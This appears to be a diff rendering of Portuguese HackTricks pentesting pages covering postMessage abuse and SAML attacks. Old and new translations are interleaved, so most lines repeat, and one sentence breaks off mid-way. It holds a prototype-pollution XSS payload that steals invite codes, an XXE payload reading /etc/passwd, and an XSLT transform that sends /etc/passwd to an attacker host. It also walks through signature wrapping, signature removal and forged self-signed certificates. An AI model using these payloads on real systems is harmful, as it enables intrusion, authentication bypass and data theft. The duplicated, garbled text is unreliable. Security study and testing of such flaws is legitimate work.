Na página a seguir, você pode ver como poderia roubar **dados sensíveis de postmessage** enviados para um **iframe filho** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes de serem recebidos:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
### Roubo de mensagem modificando a localização do iframe
### Roubando mensagem modificando a localização do iframe
Se você pode criar um iframe de uma página sem o cabeçalho X-Frame, que contém outro iframe, você pode **alterar a localização do iframe filho**, então, se ele estiver recebendo um **postmessage** enviado usando um **curinga**, um invasor poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
Se você pode colocar um iframe em uma página web sem o cabeçalho X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**, então se ele está recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **mudar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage para Prototype Pollution e/ou XSS
### postMessage para Poluição de Protótipo e/ou XSS
Em cenários em que os dados enviados por meio de `postMessage` são executados por JS, você pode **criar um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando a exploração via `postMessage`.
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode colocar um **iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
Alguns **XSS muito bem explicados por meio de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Um par de **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Exemplo de uma exploração para abusar da **poluição de protótipo e depois XSS** por meio de um `postMessage` para um `iframe`:
Exemplo de um exploit para abusar de **Poluição de Protótipo e depois XSS** através de um `postMessage` para um `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
@ -198,12 +215,14 @@ Para **mais informações**:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

226
pentesting-web/saml-attacks/README.md
View file

@ -1,16 +1,18 @@
# SAML Attacks
# Ataques SAML
## Ataques SAML
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -22,25 +24,24 @@
## Gráfico de Ataques
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
## Ferramenta
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uma ferramenta que pode receber uma URL ou lista de URLs e retorna a URL de consumo SAML.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uma ferramenta que pode pegar uma URL ou lista de URLs e retorna a URL de consumo SAML.
## Round-trip XML
## Viagem de ida e volta XML
No XML, a parte assinada do XML é salva na memória, em seguida, alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente, essa codificação/decodificação não deve alterar os dados, mas com base nesse cenário, **os dados verificados e os dados originais podem não ser os mesmos**.
Por exemplo, verifique o seguinte código:
No XML, a parte assinada do XML é salva na memória, depois algumas codificações/de-codificações são realizadas e a assinatura é verificada. Idealmente, essa codificação/de-codificação não deveria alterar os dados, mas baseado nesse cenário, **os dados sendo verificados e os dados originais podem não ser os mesmos**.
Por exemplo, confira o seguinte código:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
@ -48,46 +49,43 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Executar o programa contra o REXML 3.2.4 ou anterior resultaria na seguinte saída:
Executar o programa contra o REXML 3.2.4 ou versões anteriores resultaria na seguinte saída:
```
First child in original doc: Y
First child after round-trip: Z
```
Assim é como o REXML viu o documento XML original do programa acima:
![](<../../.gitbook/assets/image (561).png>)
E assim é como ele o viu após uma rodada de análise e serialização:
E assim é como ele viu após uma rodada de análise e serialização:
![](<../../.gitbook/assets/image (562).png>)
Para obter mais informações sobre a vulnerabilidade e como abusá-la:
Para mais informações sobre a vulnerabilidade e como explorá-la:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Ataques de Envoltório de Assinatura XML
## Ataques de Envolvimento de Assinatura XML
Documentos XML contendo Assinaturas XML são normalmente **processados em dois passos independentes**: **validação de assinatura** e **invocação de função** (lógica de negócios). Se ambos os módulos têm visões diferentes sobre os dados, existe uma nova classe de vulnerabilidades chamada ataques de envoltório de assinatura XML (XSW).\
Nesses ataques, o **adversário modifica** a **estrutura da mensagem** **injetando** elementos **forjados que não invalidam a Assinatura XML**. O objetivo dessa alteração é mudar a mensagem de tal forma que a **lógica de aplicativo e o módulo de verificação de assinatura usem partes diferentes da mensagem**. Consequentemente, o receptor verifica a Assinatura XML com sucesso, mas a lógica de aplicativo processa o elemento falso. O **atacante, assim, contorna a proteção de integridade** e a autenticação de origem da Assinatura XML e pode injetar conteúdo arbitrário.
Documentos XML contendo Assinaturas XML são tipicamente **processados em dois passos independentes**: **validação da assinatura** e **invocação de função** (lógica de negócios). Se ambos os módulos têm visões diferentes sobre os dados, uma nova classe de vulnerabilidades chamada ataques de Envolvimento de Assinatura XML (XSW) existe.\
Nesses ataques, o **adversário** **modifica** a **estrutura da mensagem** **injetando** elementos **falsificados que não invalidam a Assinatura XML**. O objetivo dessa alteração é mudar a mensagem de tal forma que a **lógica da aplicação e o módulo de verificação da assinatura usem partes diferentes da mensagem**. Consequentemente, o receptor verifica a Assinatura XML com sucesso, mas a lógica da aplicação processa o elemento falso. O **atacante assim contorna a proteção de integridade** e a autenticação de origem da Assinatura XML e pode injetar conteúdo arbitrário.
Do pedido SAML:
Da solicitação SAML:
![](<../../.gitbook/assets/image (537).png>)
### XSW #1
Um atacante pode **adicionar um novo elemento raiz onde a assinatura** é encontrada. Portanto, quando o validador verifica a integridade da assinatura, ele pode notar que **verificou** a **integridade** do **Response -> Assertion -> Subject**, e pode ficar confuso com o caminho **novo Response -> Assertion -> Subject** em vermelho e usar seus dados.
Um atacante pode **adicionar um novo elemento raiz onde a assinatura** é encontrada. Portanto, quando o validador verifica a integridade da assinatura, ele pode notar que tem **verificar** a **integridade** do **Response -> Assertion -> Subject**, e pode se confundir com o caminho **malicioso novo Response -> Assertion -> Subject** em vermelho e usar seus dados.
![](<../../.gitbook/assets/image (538).png>)
### XSW #2
A diferença com #1 é que o tipo de Assinatura usado é uma **assinatura destacada** onde XSW #1 usou uma assinatura de envoltório.\
Observe como a nova estrutura maliciosa é a mesma de antes, tentando confundir a lógica de negócios após a verificação de integridade ter sido realizada.
A diferença do #1 é que o tipo de Assinatura usada é uma **assinatura destacada** onde o XSW #1 usou uma assinatura envolvente.\
Note como a nova estrutura maliciosa é a mesma de antes, tentando confundir a lógica de negócios após a verificação de integridade ter sido realizada.
![](<../../.gitbook/assets/image (539).png>)
@ -99,193 +97,184 @@ Neste ataque, uma **Assertion maliciosa é criada no mesmo nível** que a assert
### XSW #4
XSW #4 é semelhante ao #3, exceto que, neste caso, a **Assertion original se torna uma filha** da Assertion copiada.
XSW #4 é semelhante ao #3, exceto que neste caso a **Assertion original se torna um filho** da Assertion copiada.
![](<../../.gitbook/assets/image (541).png>)
### XSW #5
No XSW #5, a Assinatura e a Assertion original não estão em uma das três configurações padrão (envolvente/envelopado/destacado). Neste caso, a Assertion copiada envolve a Assinatura.
No XSW #5, a Assinatura e a Assertion original não estão em uma das três configurações padrão (envolvida/envolvente/desacoplada). Neste caso, a Assertion copiada envolve a Assinatura.
![](<../../.gitbook/assets/image (542).png>)
### XSW #6
XSW #6 insere sua Assertion copiada na mesma localização que as #4 e #5. A peça interessante aqui é que a Assertion copiada envolve a Assinatura, que por sua vez envolve a Assertion original.
XSW #6 insere sua Assertion copiada na mesma localização que os números 4 e 5. A parte interessante aqui é que a Assertion copiada envolve a Assinatura, que por sua vez envolve a Assertion original.
![](<../../.gitbook/assets/image (543).png>)
### XSW #7
XSW #7 insere um elemento **Extensions** e adiciona a Assertion copiada como **filha**. Extensions é um elemento XML válido com uma **definição de esquema menos restritiva**. Os autores deste [artigo](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desenvolveram este método em resposta à biblioteca OpenSAML. O OpenSAML usava validação de esquema para comparar corretamente o ID usado durante a validação de assinatura com o ID da Assertion processada. Os autores descobriram que, nos casos em que as Assertions copiadas com o mesmo ID da Assertion original eram filhas de um elemento com uma definição de esquema menos restritiva, eles conseguiam contornar essa contramedida específica.
XSW #7 insere um elemento **Extensions** e adiciona a Assertion copiada como **filho**. Extensions é um elemento XML válido com uma **definição de esquema menos restritiva**. Os autores deste [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desenvolveram este método em resposta à biblioteca OpenSAML. OpenSAML usou validação de esquema para comparar corretamente o ID usado durante a validação da assinatura com o ID da Assertion processada. Os autores descobriram que em casos onde Assertions copiadas com o mesmo ID da Assertion original eram filhos de um elemento com uma definição de esquema menos restritiva, eles conseguiram contornar essa contramedida específica.
![](<../../.gitbook/assets/image (544).png>)
### XSW #8
XSW #8 usa outro elemento XML **menos restritivo** para executar uma variação do padrão de ataque usado em XSW #7. Desta vez, a Assertion original é a filha do elemento menos restritivo em vez da Assertion copiada.
XSW #8 usa outro elemento XML **menos restritivo** para realizar uma variação do padrão de ataque usado no XSW #7. Desta vez, a Assertion original é o filho do elemento menos restritivo em vez da Assertion copiada.
![](<../../.gitbook/assets/image (545).png>)
### Ferramenta
Você pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analisar o pedido, aplicar qualquer ataque XSW que escolher e lançá-lo.
Você pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analisar a solicitação, aplicar qualquer ataque XSW que escolher e lançá-lo.
![](<../../.gitbook/assets/image (546).png>)
### Artigo Original
Para obter mais informações sobre este ataque, leia o artigo original em [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
Para mais informações sobre este ataque, leia o artigo original em [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
## XXE
Se você não sabe quais tipos de ataques são XXE, leia a seguinte página:
Se você não sabe que tipo de ataques são XXE, por favor leia a seguinte página:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Devido ao fato de que as Respostas SAML são documentos XML **deflacionados e codificados em base64**, podemos testar o **XXE** manipulando o documento XML enviado como a Resposta SAML. Exemplo:
Devido ao fato de que as Respostas SAML são documentos XML deflacionados e codificados em base64, podemos testar para **XXE** manipulando o documento XML enviado como a Resposta SAML. Exemplo:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
### Ferramenta
Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE.
Você também pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE.
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT via SAML
Para obter mais informações sobre XSLT, acesse:
Para mais informações sobre XSLT, acesse:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
A Transformação de Linguagem de Folha de Estilo Extensível (XSLT) é uma linguagem Turing completa para transformar documentos XML em outros tipos de documentos, como HTML, JSON ou PDF. Um aspecto importante a ser observado aqui é que **o ataque não requer uma assinatura válida para ter sucesso**. A razão para isso é que **a transformação XSLT ocorre antes que a assinatura digital seja processada para verificação**. Basicamente, precisamos de uma Resposta SAML assinada para realizar o ataque, mas a assinatura pode ser autoassinada ou inválida.
Extensible Stylesheet Language Transformation (XSLT) é uma linguagem Turing-completa para transformar documentos XML em outros tipos de documentos, como HTML, JSON ou PDF. Um aspecto importante a ser notado aqui é que **o ataque não requer uma assinatura válida para ter sucesso**. A razão para isso é que **a transformação XSLT ocorre antes que a assinatura digital seja processada para verificação**. Basicamente, precisamos de uma Resposta SAML assinada para realizar o ataque, mas a assinatura pode ser autoassinada ou inválida.
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
Aqui você pode encontrar um **POC** para verificar esse tipo de vulnerabilidade, na página hacktricks mencionada no início desta seção, você pode encontrar payloads.
Aqui você pode encontrar um **POC** para verificar este tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção você pode encontrar payloads.
```markup
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Ferramenta
Você também pode usar a extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.
Você também pode usar a extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.
Confira também esta palestra: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Exclusão de Assinatura XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
A exclusão de assinatura é usada para testar como a implementação SAML se comporta quando não há **elemento de assinatura**. Quando um elemento de assinatura está **ausente**, a etapa de **validação de assinatura pode ser completamente ignorada**. Se a assinatura não for validada, qualquer um dos conteúdos que normalmente seriam assinados podem ser adulterados por um atacante.
A Exclusão de Assinatura é usada para testar como a implementação do SAML se comporta quando **não há elemento de Assinatura**. Quando um elemento de Assinatura está **ausente**, a **etapa de validação da assinatura pode ser completamente ignorada**. Se a Assinatura não for validada, então qualquer conteúdo que normalmente seria assinado pode ser adulterado por um atacante.
![](<../../.gitbook/assets/image (547).png>)
### Ferramenta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
A exclusão de assinatura começa interceptando a resposta SAML e clicando em `Remover Assinaturas`. Ao fazer isso, **todos** os elementos de assinatura são removidos.
A exclusão de assinatura começa interceptando a Resposta SAML e clicando em `Remove Signatures`. Ao fazer isso, **todos** os elementos de Assinatura são removidos.
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
Com as assinaturas removidas, permita que a solicitação prossiga para o destino. Se a assinatura não for necessária pelo serviço
Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a Assinatura não for exigida pelo Serviço
## Falsificação de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
A falsificação de certificado é o processo de testar se o Provedor de Serviços **verifica se um Provedor de Identidade confiável assinou a Mensagem SAML**. O relacionamento de confiança entre SP e IdP é estabelecido e **deve ser verificado** cada vez que uma Mensagem SAML é recebida. O que isso significa é usar um certificado **autoassinado** para assinar a Resposta ou Declaração SAML.
A falsificação de certificado é o processo de testar se o Provedor de Serviço **verifica se um Provedor de Identidade confiável assinou a Mensagem SAML.** A relação de confiança entre SP e IdP é estabelecida e **deve ser verificada** cada vez que uma Mensagem SAML é recebida. Isso se resume a usar um certificado **autoassinado** para assinar a Resposta SAML ou Afirmação.
### Ferramenta <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
A extensão Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) será usada.\
A extensão do Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) será usada.\
Para falsificar um certificado, comece interceptando a Resposta SAML.\
Se houver uma assinatura incluída na Resposta, use o botão `Enviar Certificado para Certificados SAML Raider`.
Se houver uma Assinatura incluída na Resposta, use o botão `Send Certificate to SAML Raider Certs`.
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
Depois de enviar o certificado, devemos ver um certificado importado na guia Certificados SAML Raider. Uma vez lá, destacamos o certificado importado e pressionamos o botão `Salvar e Autoassinado`.
Após enviar o certificado, devemos ver um certificado importado na aba Certificados do SAML Raider. Uma vez lá, destacamos o certificado importado e pressionamos o botão `Save and Self-Sign`.
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
Ao fazer isso, é gerado um clone autoassinado do certificado original. Agora é hora de voltar para a solicitação interceptada ainda retida no Proxy do burp. Primeiro, selecione o novo certificado autoassinado no menu suspenso de Assinatura XML. Em seguida, use o botão `Remover Assinaturas` para remover quaisquer assinaturas existentes. Finalmente, use o **botão** **`(Re-)Assinar Mensagem`** ou `(`**`Re-)Assinar Declaração`** (**qualquer um** é **mais** **apropriado** em sua situação específica).
Ao fazer isso, um clone autoassinado do certificado original é gerado. Agora é hora de voltar à solicitação interceptada ainda retida no Proxy do burp. Primeiro, selecione o novo certificado autoassinado no menu suspenso de Assinatura XML. Em seguida, use o botão `Remove Signatures` para remover quaisquer assinaturas existentes. Finalmente, use o botão **`(Re-)Sign Message`** ou `(`**`Re-)Sign Assertion`** (**qualquer** que seja **mais** **apropriado** para a sua situação).
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
Depois de assinar a mensagem com o certificado autoassinado, envie-a em seu caminho. Se autenticarmos, sabemos que podemos assinar nossas Mensagens SAML. A capacidade de assinar nossas Mensagens SAML significa que podemos alterar valores na Declaração e eles serão aceitos pelo Provedor de Serviços.
Após assinar a mensagem com o certificado autoassinado, envie-a. Se nos autenticarmos, sabemos que podemos assinar nossas Mensagens SAML. A capacidade de assinar nossas Mensagens SAML significa que podemos alterar valores na Afirmação e eles serão aceitos pelo Provedor de Serviço.
## Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviços <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
A Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviços **testa se o Provedor de Serviços valida o Destinatário**. Isso significa que **se a resposta fosse destinada a um Provedor de Serviços diferente**, o **Provedor de Serviços atual deve notar e rejeitar a autenticação**.\
O campo **Destinatário** é um atributo do elemento **SubjectConfirmationData**, que é um filho do elemento Subject em uma Resposta SAML.
Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço **testa se o Provedor de Serviço valida o Destinatário**. Isso significa que, **se a resposta foi destinada a um Provedor de Serviço diferente**, o Provedor de Serviço **atual** deve perceber isso e **rejeitar a autenticação**.\
O campo **Destinatário** é um atributo do elemento **SubjectConfirmationData**, que é filho do elemento Subject em uma Resposta SAML.
> O elemento SubjectConfirmationData especifica dados adicionais que permitem confirmar o assunto ou restringir as circunstâncias em que o ato de confirmação do assunto pode ocorrer. A confirmação do assunto ocorre quando um partido confiante procura verificar a relação entre uma entidade que apresenta a declaração (ou seja, a entidade que atesta) e o assunto das reivindicações da declaração.
> O elemento SubjectConfirmationData especifica dados adicionais que permitem confirmar o sujeito ou restringir as circunstâncias sob as quais o ato de confirmação do sujeito pode ocorrer. A confirmação do sujeito ocorre quando uma parte confiável procura verificar a relação entre uma entidade que apresenta a afirmação (ou seja, a entidade atestante) e o sujeito das reivindicações da afirmação.
O atributo Destinatário encontrado no **elemento SubjectConfirmationData é um URL que especifica o local para o qual a Declaração deve ser entregue**. Se o Destinatário for um Provedor de Serviços diferente daquele que o recebe, a Declaração não deve ser aceita.
